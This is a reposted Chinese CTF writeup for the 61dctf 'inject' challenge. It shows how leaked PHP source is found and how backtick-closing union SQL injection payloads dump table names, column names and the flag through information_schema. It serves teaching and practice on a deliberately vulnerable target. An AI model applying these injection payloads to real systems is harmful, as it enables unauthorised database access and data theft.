desc巧用及反引号 ` SQL注入——【61dctf】 inject writeup

2023-12-12 23:38

本文主要是介绍desc巧用及反引号 ` SQL注入——【61dctf】 inject writeup,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

题目链接 :http://web.jarvisoj.com:32794/

描述

进入页面,发现只有 flag{xxx}
题目hint:先找到源码~

源码泄露

  • 使用后台目录扫描工具御剑进行后台扫描

源码泄露:
http://web.jarvisoj.com:32794/index.php~
  • F12查看器得到泄露的源码

<?phprequire("config.php");$table = $_GET['table']?$_GET['table']:"test";$table = Filter($table);
mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();$sql = "select 'flag{xxx}' from secret_{$table}";$ret = sql_query($sql);echo $ret[0];?>

代码分析

$table = $_GET['table']?$_GET['table']:"test";`
  • 当未输入table参数时,table的值默认为test

  • 当输入了table的参数时,table的值为输入的值

$table = Filter($table);
  • 对变量$table进行过滤,Filter函数为用户自定义的函数

mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();
  • 当mysqli_query()函数能够通过,则不调用Hacker()函数

  • 当mysqli_query()函数调用失败,则调用Hacker()函数

$sql = "select 'flag{xxx}' from secret_{$table}";$ret = sql_query($sql);echo $ret[0];
  • 定义sql语句并执行,且只输出查询语句的第一条

测试

  • 当令table=test

http://web.jarvisoj.com:32794/index.php?table=test

页面返回正常,flag{xxx}

  • 当令table为其他值,比如table=123

    http://web.jarvisoj.com:32794/index.php?table=123

    页面返回 Hello Hacker

从源码分析可知

//源码<?phprequire("config.php");$table = $_GET['table']?$_GET['table']:"test";$table = Filter($table);
mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();$sql = "select 'flag{xxx}' from secret_{$table}";$ret = sql_query($sql);echo $ret[0];?>

当table=test时,页面返回flag{xxx}

mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();

因此该条语句没有跳转到Hacker(),而是执行了mysqli_query()函数
而反过来,当table为其他值时,mysqli_query()函数执行失败,从而执行了Hacker()

Key

观察可知,输入的table参数被desc 使用进行降序排序
并且,desc后使用的是 ` (反引号) 位于键盘Esc正下方

mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();$sql = "select 'flag{xxx}' from secret_{$table}";$ret = sql_query($sql);
  • 关于反引号

    反引号 ` 在mysql中是为了区分mysql中的保留字符与普通字符而引入的符号

    例如,如果test表中存在一个”from”字段,当我们查找内容时,就需要使用反引号,以防使用保留字符而报错

    select  `from` from test
  • 关于desc查看表结构

    desc tablename  #查看table的结构信息

    例如,使用desc查看users表的结构

    desc users



因此,如果desc 后接的表不存在,则返回失败

  • 由此可知
    当table=test时,由于库中存在secret_test表,因此mysqli_query()函数返回成功,继续向下执行,从而输出了flag{xxx}
    当table=123时,因为库中不存在secre_123表,因此跳转hacker()函数结束程序

反引号闭合注入

通过反引号的闭合,可以构造SQL注入

mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();$sql = "select 'flag{xxx}' from secret_{$table}";$ret = sql_query($sql);

构造payload,测试当前数据库名称

payload: ?table=test` ` union select database()

相当于

mysqli_query($mysqli,"desc `secret_test` ` union select database()`") or Hacker();$sql = "select 'flag{xxx}' from secret_test` ` union select database()";$ret = sql_query($sql);echo $ret[0];

这样,desc secret_test能够执行通过,并且下面的sql语句可以查询数据库

Tip1: 在第二条sql语句中,两个反引号就相当于了空格  

Tip2: 注意到最后页面只输出数组变量ret的第0位,而第0位恒为flag{xxx},所以为了控制输出,可以使用limit 1,1来进行约束,使返回结果从第1位开始

爆表名

payload: ?table=test` ` union select group_concat(table_name) from information_shcema.tables where table_schema=database()limit 1,1

查询到存在secret_flag,secret_test 两个表

爆字段

payload: ?table=test` `union select group_concat(column_name) from information_schema.columns where table_schema=database() limit 1,1

查询到存在flagUwillNeverKnow,username 两个字段

爆值

payload: ?table=test` `union select group_concat(flagUwillNeverKnow) from secret_flag

查询到flag{luckyGame~}

总结

  1. desc + 表名  可以查询表的结构,同时也可以用来判断表是否存在

  2. 反引号 ` 在MySQL中用来区分保留字符与普通字符

  3. limit 关键字可以用来控制输出

原文:https://blog.csdn.net/qq_42939527/article/details/100129254

扫描下方二维码加入星球学习

加入后会邀请你进入内部微信群,内部微信群永久有效!

 

  

目前25000+人已关注加入我们

这篇关于desc巧用及反引号 ` SQL注入——【61dctf】 inject writeup的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/486341

相关文章

MySQL双主搭建+keepalived高可用的实现

《MySQL双主搭建+keepalived高可用的实现》本文主要介绍了MySQL双主搭建+keepalived高可用的实现,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,... 目录一、测试环境准备二、主从搭建1.创建复制用户2.创建复制关系3.开启复制,确认复制是否成功4.同

MyBatis 动态 SQL 优化之标签的实战与技巧(常见用法)

《MyBatis动态SQL优化之标签的实战与技巧(常见用法)》本文通过详细的示例和实际应用场景,介绍了如何有效利用这些标签来优化MyBatis配置,提升开发效率,确保SQL的高效执行和安全性,感... 目录动态SQL详解一、动态SQL的核心概念1.1 什么是动态SQL?1.2 动态SQL的优点1.3 动态S

Mysql表的简单操作(基本技能)

《Mysql表的简单操作(基本技能)》在数据库中,表的操作主要包括表的创建、查看、修改、删除等,了解如何操作这些表是数据库管理和开发的基本技能,本文给大家介绍Mysql表的简单操作,感兴趣的朋友一起看... 目录3.1 创建表 3.2 查看表结构3.3 修改表3.4 实践案例:修改表在数据库中,表的操作主要

mysql出现ERROR 2003 (HY000): Can‘t connect to MySQL server on ‘localhost‘ (10061)的解决方法

《mysql出现ERROR2003(HY000):Can‘tconnecttoMySQLserveron‘localhost‘(10061)的解决方法》本文主要介绍了mysql出现... 目录前言:第一步:第二步:第三步:总结:前言:当你想通过命令窗口想打开mysql时候发现提http://www.cpp

MySQL大表数据的分区与分库分表的实现

《MySQL大表数据的分区与分库分表的实现》数据库的分区和分库分表是两种常用的技术方案,本文主要介绍了MySQL大表数据的分区与分库分表的实现,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有... 目录1. mysql大表数据的分区1.1 什么是分区?1.2 分区的类型1.3 分区的优点1.4 分

MySQL错误代码2058和2059的解决办法

《MySQL错误代码2058和2059的解决办法》:本文主要介绍MySQL错误代码2058和2059的解决办法,2058和2059的错误码核心都是你用的客户端工具和mysql版本的密码插件不匹配,... 目录1. 前置理解2.报错现象3.解决办法(敲重点!!!)1. php前置理解2058和2059的错误

Mysql删除几亿条数据表中的部分数据的方法实现

《Mysql删除几亿条数据表中的部分数据的方法实现》在MySQL中删除一个大表中的数据时,需要特别注意操作的性能和对系统的影响,本文主要介绍了Mysql删除几亿条数据表中的部分数据的方法实现,具有一定... 目录1、需求2、方案1. 使用 DELETE 语句分批删除2. 使用 INPLACE ALTER T

MySQL INSERT语句实现当记录不存在时插入的几种方法

《MySQLINSERT语句实现当记录不存在时插入的几种方法》MySQL的INSERT语句是用于向数据库表中插入新记录的关键命令,下面:本文主要介绍MySQLINSERT语句实现当记录不存在时... 目录使用 INSERT IGNORE使用 ON DUPLICATE KEY UPDATE使用 REPLACE

MySQL Workbench 安装教程(保姆级)

《MySQLWorkbench安装教程(保姆级)》MySQLWorkbench是一款强大的数据库设计和管理工具,本文主要介绍了MySQLWorkbench安装教程,文中通过图文介绍的非常详细,对大... 目录前言:详细步骤:一、检查安装的数据库版本二、在官网下载对应的mysql Workbench版本,要是

mysql数据库重置表主键id的实现

《mysql数据库重置表主键id的实现》在我们的开发过程中,难免在做测试的时候会生成一些杂乱无章的SQL主键数据,本文主要介绍了mysql数据库重置表主键id的实现,具有一定的参考价值,感兴趣的可以了... 目录关键语法演示案例在我们的开发过程中,难免在做测试的时候会生成一些杂乱无章的SQL主键数据,当我们